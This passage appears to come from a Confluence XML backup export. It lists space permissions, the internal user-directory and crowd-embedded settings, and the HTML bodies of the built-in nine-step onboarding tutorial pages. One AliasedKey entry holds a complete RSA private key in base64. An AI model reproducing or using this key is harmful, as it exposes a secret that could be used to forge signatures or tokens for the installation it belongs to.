||||
<property name="type"><![CDATA[SYSTEMADMINISTRATOR]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.406</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.406</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458758</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.410</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.410</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65538</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA private MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCs5MWOrBJWwbLoUtamm9gHTh15lvkWwB7wHBLaa5v9gVQ6ZzrWJr3uZwcNqo8rJGsztCUlR0BBdFYyrJxm66YZRqFLILrGzGxAsdI+x/Z/p/WdpN0vhqc9+/NaVhoCX5YA/J2lj1mSBaXFfHNua93wC/gDLzg/yp8I125+mf1CyGtXQXdk4NTiAKvYslF3j15YZKnFQkO8v0xA06vG3JoNv2v+bFnjwR3QWf6QGYusHGvLILTnkjR0EhL4koNBvepsfKbAFDWpg91HzkEg7qjNh3hRDVl5p4orhP/OfueiGVXIuUOFx8ZbRKJzGQZ9c6IOXxiBoZl4lBdKJB4dNhFjAgMBAAECggEAM9D+moNcna7AyVsmZNmZNZtGPy4tqhFbVFf9mIOexSvRDA3rNsp2qvAqz4A6F1J7ZIwNg+4mRlexC8/qsffXGIUwCv2crL8QhJUmr1UrvdefR6dk+Pzwu6V6qiza77IpGVOchcWAMUDLDXR+fe4LHonfw0iQIaI+5p32SjAplK1QsFbUmcmNqDr+lBIord6xwRjqJJnN5scHfV3zPKn8boida508IaSrvpFBfEMcq77Mw0wPKzPFToKGkOaGAp2mRNBoz9j4vVvy0snOee51tRtlVPu1+Hp8q4nNbif8oJPc9eVjSO48kUOncIZmyx4HYc04UgYn5du66vnqbEbjGQKBgQDoUz/GFrP5zaWPB1AJZgeDUt8+3D9eH7C96J9Td3gaNsVsLgRHd98L8oQaTZxxSrKCAEFkroI15Sapa4HZ0klrWTmZWk0Z2nP8YsotPz345+Ywj4a9+m7+HBisDREt+vT8X3lV83B22/WyQf8dd8Bo1XBslve0H0c8S+8BB5C/aQKBgQC+gxw8gm55a95EFLMS3xDtuJTaUkqHm35k5Hd11G4wSetlTCVRKQ5ErnpSvTFH4f2n5Ke4CEdFFgqYIlnhIfzUYyfeeswcxokbwFnDiF8e76Uel0Asng8a0TbJEmGtrkCAW9cQSFX5gFx26VwT7BW2Tu6GzoY8pduq9h2ihTP86wKBgQCkBlKaSmEa1uQyjRkm6ZAYWaQgP2PF0l34VopWZZy39T+BVyPSSYGCb+BwqabwHarWOdPxf3uTDYw0RSDSZrNLRR1zddvFiwQkhqLzOxlH6IIOeubIrk06vx90KW2dpvbcT5Pc6RjX8ggPqKSza16/JSJQqG2OEB89JOdDNNIvMQKBgQCx/fDtn7bzfpJk7Sn5oatBTsjTyTqUw/Qs8z+hON3SA94IAEKFN2R7SsBCeTyHul6w8/K3ABUGOPeg98cdjhGXpSRkujnlUKBc6zNyegDU+HU+xXVRukLGfV1AMwpLqJfe1O9z6QFaYFEDUDeU7WfDsq8sB9xm4VcAvX0mkGjoDQKBgAiPqCJ/bRYhkbs4ZRRfioa5EfQG6oH9VEVHSXP4lG+wzRMjFKOvA+cosXlnZlkqTFzX2bFW2Hm582ikaY1AYHS/gGNPKoN5FRxR+4s3bZ4kQ2YRj1X6aTnE6cG5UWyzHKQXmxYSiLEbS1bofb1D8qaBVWhoJ74DcsfWCeY58gGT ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458759</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.415</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.415</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458753</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458754</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458755</id>
|
||||
<property name="type"><![CDATA[ADMINISTRATECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.394</property>
|
||||
</object>
|
||||
<object class="DirectoryImpl" package="com.atlassian.crowd.model.directory">
|
||||
<id name="id">360449</id>
|
||||
<property name="name"><![CDATA[Confluence Internal Directory]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence internal directory]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"><![CDATA[Confluence default internal directory]]></property>
|
||||
<property name="implementationClass"><![CDATA[com.atlassian.crowd.directory.InternalDirectory]]></property>
|
||||
<property name="lowerImplementationClass"><![CDATA[com.atlassian.crowd.directory.internaldirectory]]></property>
|
||||
<property name="type" enum-class="DirectoryType" package="com.atlassian.crowd.embedded.api">INTERNAL</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Map"><element name="user_encryption_method" type="string"><![CDATA[atlassian-security]]></element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ApplicationImpl" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">327681</id>
|
||||
<property name="name"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="lowerName"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.083</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.165</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"/><property name="type" enum-class="ApplicationType" package="com.atlassian.crowd.model.application">GENERIC_APPLICATION</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[X]]></property>
|
||||
</component>
|
||||
<collection name="attributes" class="java.util.Map"><element name="com.sun.jndi.ldap.connect.pool.initsize" type="string"><![CDATA[1]]></element>
|
||||
<element name="atlassian_sha1_applied" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.timeout" type="string"><![CDATA[30000]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.authentication" type="string"><![CDATA[simple]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.maxsize" type="string"><![CDATA[0]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.prefsize" type="string"><![CDATA[10]]></element>
|
||||
<element name="aggregateMemberships" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.protocol" type="string"><![CDATA[plain ssl]]></element>
|
||||
</collection>
|
||||
<collection name="directoryMappings" class="java.util.List"><element class="DirectoryMapping" package="com.atlassian.crowd.model.application"><id name="id">393217</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163844</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p><span style="color: rgb(64,64,64);">Confluence automatically transforms linked content</span> <span style="color: rgb(64,64,64);">into rich content.</span> <span style="color: rgb(64,64,64);">Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos, <br /></span><span style="color: rgb(64,64,64);">Flickr photo streams, Tweets, Google maps and many more.</span></p><p><span style="color: rgb(64,64,64);">Here's two examples of autoconvert in action.</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3> <br /><ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="e115eec2-dcf7-445c-b563-aca39824d38e"><ac:parameter ac:name="url"><ri:url ri:value="http://youtube.com/watch?v=RXhL9cfwx2c" /></ac:parameter></ac:structured-macro></h3></ac:layout-cell><ac:layout-cell><p><span style="color: rgb(0,0,0);"> <ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="6f0d84bb-46ee-40a0-8379-fb9a87faf7c7"><ac:parameter ac:name="url"><ri:url ri:value="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A" /></ac:parameter></ac:structured-macro> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3><span style="color: rgb(51,51,51);">Try it yourself:</span></h3><ol><li><span> <span> <span style="color: rgb(51,51,51);"> <span> <strong>Edit</strong> this page.</span> </span> </span> </span></li><li><span> <span> <span style="color: rgb(51,51,51);"> <span>Copy this link <a href="https://youtu.be/RXhL9cfwx2c">https://youtu.be/RXhL9cfwx2c</a> and paste it onto the page.</span> <br /></span> </span> </span></li><li><span style="color: rgb(51,51,51);">Autoconvert will embed the YouTube video on the page.</span></li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell><ac:layout-cell><h3><span style="color: rgb(51,51,51);"> <span style="color: rgb(51,51,51);">Try it yourself</span>:</span></h3><ol><li><strong>Edit</strong> this page.</li><li>Copy this link <a href="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A">https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A</a> and paste it onto the page. </li><li>Autoconvert will render the Google Maps view on the page.</li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p><span style="color: rgb(51,51,51);"> <br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163845</id>
|
||||
<property name="body"><![CDATA[<p><span style="color: rgb(64,64,64);"><br /></span></p><p><span style="color: rgb(64,64,64);">Once you've created content you'll want to share it with your team members. <br /></span><span style="color: rgb(64,64,64);">Confluence can do all the work for you, just click the <strong>Share</strong> button.<br /></span></p><p style="margin-left: 30.0px;"><span style="color: rgb(64,64,64);"><span style="color: rgb(64,64,64);"><br /></span></span></p><ol><li>Let's tell someone about this page. <br />Click the <strong>Share</strong> button at the top right of the page. It looks like this:<br /><br /><ac:image ac:width="379"><ri:attachment ri:filename="step09-01.png" /></ac:image><br /> </li><li>Type the name of the person or group you want to share the page with. <br />You can also enter an email address. <br /><br /></li><li>Add a message to give the person some background about the page.<br /><br /></li><li>Click the <strong>Share</strong> button. <br />Confluence will send the person an email message about this page. Shared!</li></ol><p> </p><p><img class="emoticon emoticon-warning" title="(warning)" src="http://localhost:8090/s/en_GB/7502/10587128b0de2a71f82b5acc129b8b5611829c93/_/images/icons/emoticons/warning.png" alt="(warning)" border="0" /><span style="color: rgb(64,64,64);"> If your administrator has not added a mail server, the </span><strong>Share</strong><span style="color: rgb(64,64,64);"> button will only show the share link.<br /></span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p style="margin-left: 30.0px;"><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163846</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"><br /></p><p>Insert tables with drag and drop simplicity. <br />Add, remove, cut, and paste rows and columns – this makes working with tables easy. <br /> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> <br /></span></li><li><span style="color: rgb(51,51,51);">Click in the right-hand column to position your cursor.<br /> <br /></span></li><li>Click the <strong>Table</strong> menu on the toolbar and drag to choose the size of your table. <br /><br /><ac:image ac:thumbnail="true" ac:width="225"><ri:attachment ri:filename="step05-01.png" /></ac:image><br /> </li><li>The table toolbar appears when there is table on your page.<br /><br /></li><li>Place your cursor in the first cell of the table and add a row below it.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-03.png" /></ac:image><br /><br /></li><li>Place your cursor in any cell of the last column of the table and delete the column.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-04.png" /></ac:image><br /> </li><li>Grab one of the column borders and drag to resize the column.<br /><br /></li><li><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span></li></ol></ac:layout-cell><ac:layout-cell><p><br /></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163847</id>
|
||||
<property name="body"><![CDATA[<p><br />You can start a discussion by simply leaving a comment on a page, like this one.</p><p>Why not give it a try?</p><p>Go to the bottom of this page and start typing in the comment area. When you're finished just press save! </p><p>Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:</p><p><br /></p><p><ac:image ac:width="417"><ri:attachment ri:filename="Step8-01.png" /></ac:image></p><p><br /></p><p><strong>Hint:</strong> You can mention another user in a page or comment by typing @ and then the user's name. <br />The user will be notified that you mentioned them.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image ac:height="40" ac:width="106"><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163848</id>
|
||||
<property name="body"><![CDATA[<p>Page layouts provide structure in your page — two-column, three-column, and more — making it easy for anyone to create beautiful pages.</p><p> </p><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> </span></li><li><span style="color: rgb(51,51,51);">Click the <strong>Page Layout</strong></span> button in the editor toolbar. It looks like this:<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step06-image01.png" /></ac:image><br /><span style="color: rgb(51,51,51);"><br /> </span>A section is added to your page, dotted lines indicate the section boundaries. <br /> </li><li>Choose a <strong>column layout</strong> to apply to your section, for example two columns. <br /><br /><ac:image ac:width="308"><ri:attachment ri:filename="step06-image02.png" /></ac:image> <br /> </li><li><span style="color: rgb(51,51,51);">Click the <strong>Add section</strong> button to add another section to the page. <br /><br /><ac:image ac:width="385"><ri:attachment ri:filename="step06-image03.png" /></ac:image><br /> </span></li><li><span style="color: rgb(51,51,51);">Choose a different <strong>column layout</strong> for this section. <br /><br /></span></li><li>Click <strong>Update </strong>to publish your changes to the page.</li></ol><p><span>You can add as many sections as you need, and each section can have a different column layout. </span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163849</id>
|
||||
<property name="body"><![CDATA[<p><br /></p><p>Let's start with the editor. You'll use the Confluence editor to <strong>create</strong> and <strong>edit</strong> pages.<br />You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.</p><p>The editor looks like this <span style="color: rgb(153,153,153);">(click images for a larger view)</span>:</p><p><br /></p><p><ac:image ac:width="511"><ri:attachment ri:filename="step-2-image-1.png" /></ac:image></p><p><br /></p><p><span>Here is a description of the components:</span></p><ol><li><h4><span style="color: rgb(0,0,0);">Editor toolbar</span></h4><span style="color: rgb(51,51,51);">The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.<br /><br /></span><ac:image ac:width="870"><ri:attachment ri:filename="step-2-image-3.png" /></ac:image><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Page content</span></h4><span style="color: rgb(51,51,51);">This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.<br /></span>If other people are editing the page at the same time, you'll see their changes in real time! <br /><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Publish or close</span></h4><span style="color: rgb(0,0,0);">We're saving all the time in the editor. Once you're ready, hit <strong>publish</strong> to publish your page so others can see the changes, or <strong>close</strong> to finish editing later.<br /><br /><ac:image ac:width="800"><ri:attachment ri:filename="step-2-image-5.png" /></ac:image></span><br /><br /></li></ol><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163850</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"> </p><p><span style="color: rgb(51,51,51);">The Confluence editor helps you create content, fast. </span><span style="color: rgb(51,51,51);">You can embed images, Office documents, and even videos. <br />That's just the tip of the iceberg when it comes to creating useful content for your team. <br /> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li style="text-align: left;"><strong>Edit</strong> the page.<br /><br /></li><li style="text-align: left;">Click in the right-hand column to position your cursor.<br /><br /></li><li style="text-align: left;">Click <strong style="text-align: left;">Files</strong> on the editor toolbar. It looks like this:<br /><br /><ac:image ac:width="301"><ri:attachment ri:filename="step04-01.png" /></ac:image><br /> </li><li style="text-align: left;"><span>The Files dialog shows you the files attached to this page. <br />Select the image named <strong>Confluence Origami Necktie</strong>.<br /> <br /></span></li><li style="text-align: left;">Click <strong>Insert</strong>.<br /><br /></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.<br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Resize the image by clicking on the square buttons or entering a width.<br /><br /><ac:image ac:width="540"><ri:attachment ri:filename="step04-02.png" /></ac:image><br /> <br /></span><span style="color: rgb(51,51,51);"><br /></span></li><li style="text-align: left;"><span>Click <strong>Properties </strong>and then select the <strong>Curl Shadow</strong> option from the Image Effects dialog. <br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Your image should look like this when completed:<br /><ac:image ac:queryparams="effects=border-simple,shadow-kn" ac:thumbnail="true" ac:width="300"><ri:attachment ri:filename="Confluence-Origami-Necktie.jpeg" /></ac:image><br /> </span></li><li style="text-align: left;"><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span><br /><br /></li><li style="text-align: left;">View the image on the page, or click to preview the file.</li></ol><p style="text-align: left;">The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.</p></ac:layout-cell><ac:layout-cell><p> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163851</id>
|
||||
<property name="body"><![CDATA[]]></property>
|
||||
<property name="content" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="bodyType">0</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163841</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p>Pages live in spaces. This page is in the 'Demonstration Space'. <br /> </p><p>Let's play with some content. Don't worry, you won't break anything:</p><ol><li>Click <strong>Edit</strong> at the top of this page. Now you're in the editor.<br /><br /></li><li>Type some words anywhere on the page.<br /><br /></li><li>Have some fun:<span style="line-height: 0.0px;"> </span></li></ol><ul><li style="list-style-type: none;"><ul><li>Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.<br /><br /></li><li>Add a link: Select some text, then choose the <strong>Link</strong> button on the toolbar.<br />Click <strong>Web Link</strong> and enter an <strong>Address</strong>, such as <code>http://www.atlassian.com</code>. <br />Click <strong>Insert</strong> to insert the link.<br /><br /></li><li>Find a file or picture on your computer, and drag it anywhere on this page.<br /><br /></li><li>Try some of the other options on the editor 